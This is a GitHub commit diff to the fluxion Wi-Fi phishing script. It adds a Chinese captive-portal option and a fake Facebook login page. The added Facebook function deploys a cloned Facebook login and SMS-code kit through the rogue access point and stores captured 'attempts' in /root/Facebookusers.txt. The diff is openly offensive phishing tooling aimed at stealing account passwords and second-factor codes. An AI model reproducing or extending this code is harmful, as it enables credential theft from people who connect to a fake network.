Fix Issue 83

Add a Chinese login page
Add a Facebook login page
This commit is contained in:
deltax 2016-08-21 19:07:26 +02:00 committed by GitHub
parent dffb946783
commit 3a33efa34e
1 changed files with 41 additions and 2 deletions

41
fluxion
View File

@ -3459,7 +3459,10 @@ function webinterface {
echo -e "$blue""13)"$transparent" French [FR]" echo -e "$blue""13)"$transparent" French [FR]"
echo -e "$blue""13)"$transparent" Portuguese [POR]" echo -e "$blue""13)"$transparent" Portuguese [POR]"
echo -e "$blue""15)"$transparent" German [GER]" echo -e "$blue""15)"$transparent" German [GER]"
echo -e "$blue""16)"$transparent"\e[1;31m$general_back"$transparent"" echo -e "$blue""16)"$transparent" Chinese [ZH_CN](NEUTRA)"
echo -e "$blue""17)"$transparent"\e[1;31m $general_back"$transparent""
echo -e "$blue""F )"$transparent" Facebook [ENG] you will find attempts in root/Facebookusers.txt"
echo echo
echo -n "#? " echo -n "#? "
read fluxass read fluxass
@ -3571,9 +3574,26 @@ function webinterface {
NEUTRA NEUTRA
break break
elif [ "$fluxass" = "F" ]; then
Facebook
break
elif [ "$fluxass" = "f" ]; then
Facebook
break
elif [ "$fluxass" = "16" ]; then elif [ "$fluxass" = "16" ]; then
DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ZH
DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ZH
DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ZH
DIALOG_WEB_OK=$DIALOG_WEB_OK_ZH
DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ZH
DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ZH
DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ZH
DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ZH
NEUTRA
break
elif [ "$fluxass" = "17" ]; then
continue continue
fi fi
@ -7114,6 +7134,25 @@ mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/HUAWEI-ENG/index.htm $DUMP_PATH/data cp $WORK_DIR/Sites/HUAWEI-ENG/index.htm $DUMP_PATH/data
} }
function Facebook {
mkdir $DUMP_PATH/data &>$flux_output_device
cp $WORK_DIR/Sites/Facebook/config.ini $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/data.php $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/facebook-logo.png $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/font-awesome.min.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/index.htm $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/index.js $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/jquery.min.js $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/oauth.html $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/reset.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/roboto.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/style.css $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/datasms.php $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/smscode.htm $DUMP_PATH/data
cp $WORK_DIR/Sites/Facebook/Facebookusers.txt $DUMP_PATH/data
[ -f /root/Facebookusers.txt ] && top && echo -e $red "Facebookusers text file exist already" || cp $WORK_DIR/Sites/Facebook/Facebookusers.txt /root/Facebookusers.txt
}
######################################### < INTERFACE WEB > ######################################## ######################################### < INTERFACE WEB > ########################################